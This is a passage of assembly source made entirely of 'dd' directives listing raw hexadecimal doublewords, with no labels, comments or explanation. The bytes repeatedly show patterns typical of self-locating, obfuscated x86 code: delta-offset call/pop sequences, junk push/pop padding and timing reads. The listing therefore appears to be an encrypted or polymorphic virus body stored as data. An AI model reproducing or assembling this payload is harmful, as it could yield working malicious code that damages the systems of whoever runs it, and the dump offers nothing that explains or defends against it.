		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 47C35747h, 627B5788h
		dd 2A671035h, 4DBD8B8Fh, 6005E810h, 0AE8h, 862C5B00h, 0AC888682h
		dd 29735C8Ch, 0E8026D95h, 83615805h, 0EBF94EBDh, 840F0005h
		dd 36h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh
		dd 0D1C35141h, 598C97D4h, 8159D758h, 0C5BD8BE3h, 0E905E812h
		dd 7Dh,	8A5B589h, 85C705E8h, 5EBF94Eh, 1, 0E9F18B66h, 65h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0B0C35242h
		dd 7491FAF9h, 0A10D2248h, 0B5896003h, 5E831A1h,	12E9h
		dd 62AE2D00h, 0B8B7FC2Ah, 84916AF8h, 0A1678B6h,	61B005A4h
		dd 6497E5BFh, 4E85C712h, 5EBF9h, 89000000h, 0E82B8D8Dh
		dd 6890F05h, 1000000h, 0E816D1BDh, 319D8D05h, 6A05E826h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0DBC9C356h, 3FE0D81h, 7BBF6609h, 0FF2381D1h
		dd 6AFFFFFEh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0D9D7C352h, 8B968FF3h,	0E8198DB5h
		dd 0DB8C6605h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	59C35646h, 0ED83C3CAh, 0F6D8D09h, 0C3F605E8h, 57840F04h
		dd 0E8000000h, 7, 24090161h, 895075C3h,	0E812BD9Dh, 95FF5F05h
		dd 5E809ADh, 14880Fh, 8E80000h,	37000000h, 540D2788h, 0B3E1C11h
		dd 0E820C5BDh, 95295F05h, 5E81695h, 0C394BE90h,	5050158Dh
		dd 3E1DBE52h, 310F6A1Eh, 4EFD6CBEh, 90585A3Bh, 9B04D781h
		dd 60E96901h, 6A000004h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 4582C351h, 8E7D8456h
		dd 90DCB166h, 43CF8166h, 0E600B0BCh, 0F1858970h, 0E405E814h
		dd 3BBF6671h, 0D8B60F51h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0DCC35242h, 0DFE9A5E1h, 1B81B58Bh, 0BF6605E8h
		dd 6BA0218h, 66000000h,	1B41C681h, 8B0FC38Bh, 6, 0F683F781h
		dd 0FE97DC4h, 3F000000h, 3EE7BD44h, 0CBD7FA0Fh,	3DB1494Dh
		dd 0E8C15520h, 57006A04h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 95293D9Ch, 5E80315h, 6AE2F766h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0F219C351h, 0D82B2F04h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 50C35646h, 0E84BF216h, 12h
		dd 30454CDCh, 0F80455A3h, 1FDDD896h, 0FF63A16Dh, 11E9B54Dh
		dd 8F000000h, 9682F6B9h, 48252802h, 2E69E46Dh, 0B38893F7h
		dd 0BE66935Fh, 66501DFCh, 9318A9BEh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 98C35040h, 0A76F7E1Fh, 7E9h
		dd 9DF4E300h, 0EB37FCAAh, 0B5FF5E53h, 5E824D1h,	0EE9h
		dd 0C14D5300h, 63ED9637h, 17623DABh, 89E2DD4Dh,	0E81F3585h
		dd 0F995FF05h, 0E805E820h, 0Ch,	0B8D4E4C2h, 726BB16Fh
		dd 727FF99Fh, 2FF1BD8Bh, 0B05E05E8h, 4BE6600h, 39BD8B6Fh
		dd 0E605E82Eh, 56006A70h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 2965BDE2h, 0E813FD95h
		dd 8BBE6605h, 6A71E496h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 4C63C353h, 8BE98482h
		dd 0E814C9B5h, 0F613C05h, 25A83h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0FF78B76h
		dd 0BD8BD8B6h, 5E80F61h, 6BAh, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0E0F81E2Bh
		dd 6061E6B0h, 0BD0127B2h, 5E80E59h, 81C38B61h, 0B6C8F5D6h
		dd 4E8C172h, 6860Fh, 95890000h,	5E82D19h, 6AE2F766h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 6FF6C351h, 48294E6Fh, 2B1364C1h, 57006AD8h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 58431990h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 6DC35545h
		dd 1BA9BD8Bh, 0BF0F05E8h, 6800FF2h, 81000000h, 9A8AE9C6h
		dd 0FD82B32h, 16A88h, 598D2900h, 0B905E816h, 7,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 14C35141h, 6A00C183h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0B78C355h, 1AB60636h, 4AD4EE4Eh, 860FD93Bh
		dd 113h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0A3C35545h, 0D98C669Ah,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 73C35242h, 0BE9E7h,	7A050000h
		dd 0FCD1E26h, 211EB213h, 4C1F61Ch, 9B840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0D6B7AC3h, 0FB1039D0h, 11E981CBh, 14000000h,	0CD94700Fh
		dd 7DDA899Dh, 0B703ECB4h, 9D586F69h, 9AD95FFh, 0CF8105E8h
		dd 4845CAA0h, 56006A5Bh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 2BDB0B6Bh, 53006AC3h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 3D902775h, 834h, 0B860Fh, 0B70F0000h, 25E9F0h, 0FC570000h
		dd 6AC08B5Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0A645C351h, 8B98F245h,	89D88BC3h
		dd 0E8092585h, 6985C705h, 3705E829h, 6A38070Bh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 56E6C353h, 29DF8166h, 0C08B5EE9h, 0A3D9D89h,	0BD8105E8h
		dd 5E824D1h, 7D0h, 6850Fh, 85FF0000h, 5E824D1h,	24D1B5FFh
		dd 9E905E8h, 38000000h,	0FB8C79CDh, 9F820977h, 20F995FFh
		dd 6A05E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 145F26C3h, 59123E40h, 90B37BB6h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 47C35343h, 0D0F7A54Fh
		dd 8DBC41C3h, 148E0Fh, 0BE90000h, 0F2000000h, 0CE1E094Bh
		dd 598D5399h, 0BF66FD3Fh, 6A18B4h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0A09DDAC3h, 0EB030007h
		dd 8B12F53Ah, 0E8148DB5h, 0C9952905h, 0F05E82Dh, 68Fh
		dd 65BD8900h, 6A05E813h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0C1ACC352h,	895223E0h
		dd 0E820F58Dh, 11BD0305h, 5E05E831h, 2619B589h,	0B58B05E8h
		dd 5E810BDh, 8D5EBE66h,	0BD2B6060h, 5E80C85h, 61CFBF0Fh
		dd 0EE8h, 21E8B400h, 149CC646h,	34EDA18Fh, 815D0C4Dh, 3C94BDC8h
		dd 5952B210h, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 9D29A729h, 5E82181h, 9AF6E9BEh, 0E9F08B1Fh
		dd 0FFFFF79Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0D9C35747h, 819AE2A9h, 99B523DEh, 31BF6628h, 0FBBF0FA3h
		dd 0BD33FA8Bh, 5E82E39h, 4EBC18Bh, 0
		dd 0DEE81F8h, 6601B47Bh, 8DAAE5BEh, 0E81C1D85h,	0D19D2905h
		dd 5005E825h, 7E9h, 97C3BE00h, 0A9AD9C75h, 6A240489h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 7B66E803h, 9B1A6583h, 0CDB50360h, 6105E82Fh,	6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 38723AC3h, 4A7858Dh,	6A05ECh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 919A12C3h, 978E7C94h
		dd 0BF4D0D96h, 0D7B82F6h, 8B05C083h, 0E83215BDh, 90509005h
		dd 29F5BD89h, 6A05E8h, 10E9h, 7DBB9100h, 2A4E9E6Bh, 0B7659E30h
		dd 5089632Bh, 66006A72h, 0FFB1CCBEh, 0E8203D95h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0DB22D68Ah, 4BD4D5A0h, 9D8DABDBh, 5EBA4DBh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0D7C35343h, 2C70779Ch
		dd 0F0B70F45h, 13E98D01h, 0D3FF05E8h, 958950F8h, 5E83229h
		dd 4585FF5Eh, 2905E825h, 0E830E59Dh, 0F0BF0F05h, 7A6E9h
		dd 0E800h, 815D0000h, 0EC04B1EDh, 0D1BD8105h, 0D005E824h
		dd 0F000007h, 10E86h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 99B79F2h, 893892CEh, 0E80D7995h
		dd 819D8B05h, 6A05E832h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 1936C355h, 9200F079h
		dd 81A8DBAAh, 100E3h, 0AE900h, 4380000h, 0CE95153Dh, 958EEA26h
		dd 850FDB0Bh, 5Fh, 12859D89h, 0BD8305E8h, 5EC035Bh, 15840F00h
		dd 66000000h, 4EE9F18Bh, 0E8000000h, 7,	0DA8634D0h, 5F32EE44h
		dd 35B85C7h, 105ECh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0F48190C3h, 221AD20Bh
		dd 10E9h, 899D8900h, 0C705E80Dh, 0EC035B85h, 5,	819D8D00h
		dd 6A05E832h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0F73C353h, 38Ah, 0F1BF0F00h, 0FEFF2381h
		dd 39BFFFFFh, 6644662Fh, 0C3F6DB8Ch, 36840F04h,	0F000000h
		dd 95FFF6BFh, 5E809ADh,	9E8h, 79E1E800h, 85388CE8h, 9EBEAC3Dh
		dd 5E064039h, 31FDB529h, 509005E8h, 57310F52h, 5A5F5E52h
		dd 52505058h, 585A310Fh, 3DFE990h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 5D4089C3h
		dd 0B03EBF26h, 50006A00h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 65A4EAD4h, 7E14CD15h
		dd 70E6F876h, 2301B58Bh, 71E405E8h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 8AC35747h, 675849C2h, 0FDBD3362h
		dd 8905E80Ch, 0E81FA18Dh, 0D8B60F05h, 99DBD8Bh,	6BA05E8h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0B2F9C350h, 8BF6409Ch,	0E81EE9B5h
		dd 31C38B05h, 0E8150595h, 4E8C105h, 8BE2F766h, 0E821C5B5h
		dd 5EF78105h, 2B0B4EA2h, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 89602ED3h, 0E813F58Dh
		dd 68C0F05h, 0F000000h,	8Eh, 66506100h,	8920EEBFh, 6A241Ch
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0E8754BC3h, 94C78166h, 0B5FFF8BAh, 5E824D1h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 70C35141h, 899DCD94h
		dd 0ECB47DDAh, 18F0F03h, 0F8000000h, 20F995FFh,	6A05E8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 269204C3h, 663BF226h, 0E8FDBDBFh, 9,	0D0C23B9Fh, 2B60A2E4h
		dd 1E38BFAAh, 0B05E1BA7h, 8970E600h, 0E82DAD8Dh, 6A71E405h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 204DC353h, 96B57EC5h, 59B58B53h, 3C05E822h
		dd 6830F61h, 6A000002h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 82D2C351h, 0F3D338DAh
		dd 0BF9D5369h, 0D8B60FF5h, 12298589h, 6BA05E8h,	8B000000h
		dd 0E8000DB5h, 6AC38B05h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0ED21C356h,	92731CB4h
		dd 0AC3C6BEBh, 0C1FE8B66h, 0D78104E8h, 17803E27h, 6AE2F766h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0B1BAC351h, 0BD8988C8h, 5E83145h,	6AD82Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8D89F1C3h, 5E80E15h,	1A51BD29h, 6A5805E8h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 2BFAC357h, 22880FD8h, 60000001h, 5DBE6653h, 9D8959BCh
		dd 5E80761h, 7B961h, 0C1830000h, 0C19D2900h, 3B05E80Fh
		dd 0FE860FD9h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 33D1C352h, 9EB50D8h
		dd 0E829719Dh, 0D98C6605h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0B3C35343h, 7A261E71h, 0BF665052h, 5E5E11E3h
		dd 0F04C1F6h, 8284h, 0A58D8900h, 0FF05E819h, 0E809AD95h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 62C3DBE3h, 75C9C66Dh, 3DD2BE66h,	57006A5Bh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 239F5C98h, 0BE8C32Bh, 0AC000000h, 28FF18A2h,	25016518h
		dd 0BF0F3D87h, 343D5FF8h, 0F000008h, 0E86h, 0C7816600h
		dd 26E9E833h, 66000000h, 8B9384BEh, 55006AC0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0DACA6649h
		dd 8BC38BF0h, 50006AD8h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 76430E8Eh, 2F5C8816h, 0F88B2F9Ch
		dd 263185C7h, 0FFB105E8h, 11E970FAh, 0A5000000h, 967F3D16h
		dd 0F1E93F65h, 41C449A6h, 6B8553Fh, 0FE9C08Bh, 0D1000000h
		dd 8D99003Dh, 0DDEC3B7h, 6A15B085h, 0BD81A5CCh,	5E824D1h
		dd 7D0h, 5E850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 1A48BCC3h, 0B70F4820h
		dd 15BD89F2h, 0FF05E816h, 0E824D185h, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 67BFA507h, 0D912563h, 6830Fh, 0B5030000h, 5E82E6Dh
		dd 24D1B5FFh, 6A05E8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0C345F1C3h, 74AF2D24h, 20F995FFh
		dd 6A05E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0F7814AC3h, 27E7D4C9h, 51006A90h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0F60124Bh
		dd 8166FEB7h, 89D59ECFh, 0E809A99Dh, 0B58B6105h, 5E8112Dh
		dd 2075B50Bh, 0B50305E8h, 5E82621h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 2AC35040h, 195A324Dh
		dd 0B18D3195h, 8905E82Ch, 0E816E19Dh, 0F38B6605h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 2EC35040h, 8BEF7815h
		dd 0E81065BDh, 1850F05h, 0F5000000h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 42C35747h, 2D719589h, 816605E8h
		dd 6A634EEEh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 6ECAC353h, 8BED502Ah, 0E83101B5h
		dd 89B58905h, 6A05E831h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 852C356h, 0BCFB43A9h
		dd 2011E781h, 8B531B22h, 0E82149BDh, 0FA8B6605h, 0F86BE95Eh
		dd 0CE9FFFFh, 19000000h, 6D9F46D8h, 7EF19121h, 8B990C49h
		dd 53006AC1h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 6159F744h, 68A0Fh, 0BD8B0000h, 5E8164Dh
		dd 4EBh, 6A0000h, 3E850h, 58200000h, 448958C3h,	44810424h
		dd 1D0424h, 50400000h, 0C37C37C3h, 0DE08314Dh, 89493664h
		dd 0E808B18Dh, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 1D55B2A8h, 0B415F270h
		dd 1C1D858Dh, 6A05E8h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0FF8C3DC3h, 0BEC5603Ch, 15BF66ACh
		dd 5150900Fh, 5EF18B66h, 6AF38B90h, 68A0F00h, 89000000h
		dd 0E8154185h, 8B006A05h, 0E8030DB5h, 46858D05h, 6A05EC0Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 783DC351h, 9FEA7147h, 92D86E1h, 6A05C083h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 18AC352h,	0CD984E1Ch, 0A9BF6659h,	6660501Dh
		dd 0CE8BD68Bh, 24048961h, 1065B589h, 6A05E8h, 6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0DE5B9FC3h, 32FF62D5h, 2045B58Bh, 95FF05E8h,	5E8203Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 97C35747h
		dd 2880F56h, 8B000000h,	8DF95EF8h, 0EBA4DB9Dh, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 8C24BF18h, 0D3FF0E43h, 6860Fh, 95310000h, 5E82C6Dh
		dd 254585FFh, 6A05E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0AAD642C3h, 0B6296467h, 0F79440Bh
		dd 85h,	0E9F38B00h, 76Eh, 0E8h,	0ED815D00h, 5EC0E50h, 10E19D09h
		dd 0BD8105E8h, 5E824D1h, 7D0h, 126860Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0B8DB5AC3h, 25F5BD8Bh, 9D8B05E8h, 5E81A95h, 5E9h, 0C3652200h
		dd 0E3815E04h, 100h, 65DE8166h,	0FDB0B90h, 5F85h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0A1B58B80h, 6005E831h, 9C5B589h, 0B58B05E8h,	5E82111h
		dd 81BD8361h, 5EC0Ch, 5840Fh, 48E90000h, 0C7000000h, 0EC0C8185h
		dd 105h, 1DBD8B00h, 0E905E817h,	33h, 99BD8B52h,	5E05E828h
		dd 0C8185C7h, 5ECh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 180424h, 56460000h, 5FFB74C3h, 8DF95093h
		dd 0E81A959Dh, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0F1D0F570h, 934706Fh
		dd 0E80909BDh, 0FF238105h, 6AFFFFFEh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0CBFFC351h
		dd 0BC8B0F35h, 89DB8C66h, 0E816958Dh, 0F5BD8B05h, 0F605E804h
		dd 840F04C3h, 47h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0CEC35242h, 41D2F0BBh, 0B58B42BDh, 5E82491h
		dd 9AD95FFh, 8B6605E8h,	0F6090F8h, 28Bh, 0FD78B00h, 385h
		dd 0F28B6600h, 0E9905061h, 3E1h, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 1Dh, 6CC35040h, 2A5C15AAh, 0BB32D416h
		dd 0FCBF6604h, 0C6816670h, 0B0C62Eh, 2FD5B58Bh,	70E605E8h
		dd 2045BD8Bh, 71E405E8h, 6E8h, 47FD3500h, 6086683Ch, 0D6EDAFBBh
		dd 819D0177h, 6105E81Fh, 0D8B60F5Eh, 11699D89h,	6BA05E8h
		dd 0E9000000h, 12h, 0F6688C38h,	8160D8E3h, 0B2AFFB24h
		dd 6FB05F22h, 0C38B2FF9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0E8C35646h, 35A223BDh, 0B5844E50h, 1345B529h
		dd 0E8C105E8h, 81666004h, 6167F0C0h, 8BE2F766h,	0E80749B5h
		dd 6AD82B05h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 2310C351h, 512F247h, 85095FDEh
		dd 5E82D05h, 241C8950h,	834DDE81h, 0B5FF5171h, 5E824D1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0F4C35646h
		dd 2994BE7Dh, 0E80D558Dh, 0F995FF05h, 8B05E820h, 6A00B0F0h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0F78AC351h, 8208554Fh, 0E8616FE8h, 14h, 8CCF3A85h
		dd 0C36D2171h, 181FE24Ch, 0A3F4F9D2h, 0EED422B9h, 0EF05F781h
		dd 0E65F608Dh, 49B58B70h, 0E405E811h, 6E871h, 7FA10000h
		dd 0F9B8EE6Ah, 1F91BD29h, 0E95F05E8h, 12h, 0F6B71A89h
		dd 0E36A92C0h, 199199ACh, 0CEF34252h, 613C1854h, 23B830Fh
		dd 8B660000h, 0D8B60FF9h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0EEC35040h, 4C24B435h, 6BA8Dh, 85890000h
		dd 5E816CDh, 33C38BFCh,	0E812F5BDh, 4E8C105h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0FDC35545h, 86683C47h
		dd 850160B6h, 5E82AADh,	0E2F76661h, 6AD82Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0DC6683C3h
		dd 66C498DFh, 8D017C1Fh, 5E82461h, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 6B33AABAh
		dd 0A6737084h, 58A0FABh, 66000000h, 98D9DE81h, 880FD82Bh
		dd 16Dh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0DDC35343h, 0E4DB589h, 7B905E8h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 8909C357h, 0E468BA8Eh, 8326DEFAh, 5E900C1h, 7F000000h
		dd 4D3DB53h, 860FD93Bh,	10Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 60C35242h, 550A01F0h, 4BA1C5A5h
		dd 0F5BD8B56h, 3305E810h, 0E810A1BDh, 0D98C6605h, 192D9529h
		dd 0C1F605E8h, 0C2840F04h, 6A000000h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0FF2C350h
		dd 0F71D320Eh, 0F513B8B8h, 2EE5BD8Bh, 95FF05E8h, 5E809ADh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0BC35646h
		dd 0E80DF4D3h
		dd 7, 97FACF18h, 8B551222h, 6A5B5EFBh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0ABFCC356h
		dd 8BE83084h, 0E807BDBDh, 3DC32B05h, 834h, 2F860Fh, 85090000h
		dd 5E823F9h, 2CE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 8BBF9649h, 0E81959BDh
		dd 8BC08B05h, 0E82EFDB5h, 8BC38B05h, 0DE8166D8h, 9E99D4Dh
		dd 23000000h, 0B957863Bh, 326C5F6Eh, 328185C7h,	0FF5305E8h
		dd 6A3EDEh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 6C90CBC3h, 8BF2B70Fh, 52006AC0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0ED0D36F0h
		dd 0FE282548h, 2055B58Bh, 0BD8105E8h, 5E824D1h,	7D0h, 31850Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 2B943C3h,	1108AAA1h, 665CD4E8h, 85FFF28Bh
		dd 5E824D1h, 0FFF38B66h, 0E824D1B5h, 0B1BD8905h, 0FF05E806h
		dd 0E820F995h, 8D336005h, 5E83021h, 2E5DBD8Bh, 906105E8h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 37C35646h
		dd 0AF42F679h, 0BD8B5213h, 5E81115h, 3315BD8Bh,	860F05E8h
		dd 19h,	0E9FB8B66h, 11h, 0B2103A9Ch, 0EC35166Dh, 8A3AFE92h
		dd 0F2FD2E4Fh, 0D1B53360h, 6A05E810h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 89A1C355h
		dd 0E8115D95h, 0C9B58B05h, 6605E81Ah, 528E681h,	13E9h
		dd 8B1B0900h, 5C339578h, 0FF42A668h, 0B64D66D2h, 7EDC37D7h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 36C35747h
		dd 3E1B5682h, 0DBD295Bh, 2305E831h, 0E80A19BDh,	50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0A31105A7h, 896051F8h, 0E8317995h, 890F05h, 8B000000h
		dd 0E827F1B5h, 8B5F6105h, 0E82131B5h, 0F89EE905h, 820FFFFFh
		dd 6, 6D86C681h, 0C18B6A55h, 0E0816660h, 85896A4Ah, 5E81059h
		dd 4EB61h, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0FE92C350h, 89B5233Ah,	8905E807h
		dd 0E80D358Dh, 89BD8B05h, 8D05E832h, 0E81C1D85h, 2EF8105h
		dd 500C4439h, 11E951h, 48630000h, 9017CF4Bh, 10F687D8h
		dd 6F1D5A7Eh, 5F03C70Ch, 6A240489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 56F2C357h
		dd 68DAD2CBh, 20E86D04h, 2A80BF66h, 0BD33006Ah,	5E80D85h
		dd 0BF0F006Ah, 3D858DF7h, 6A05EC17h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 833BC351h
		dd 8D8905C0h, 5E83189h,	6BE4BE90h, 90506D8Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0E3C35141h, 91958927h
		dd 6A05E829h, 89006A00h, 0E809A585h, 0EE905h, 18DC0000h
		dd 25B494E9h, 56F844DCh, 8F6D35F1h, 203D95FFh, 853105E8h
		dd 5E805BDh, 880622BFh,	0DB9D8D50h, 8905EBA4h, 0E82AF995h
		dd 6AD3FF05h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0CD8C355h, 0A4240CFEh,	80345AEFh
		dd 254585FFh, 6A05E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0C7B067C3h, 83BED227h, 92E9733Eh
		dd 0E8000007h, 0
		dd 47ED815Dh, 6A05EC17h, 3E85100h, 20000000h, 8959C359h
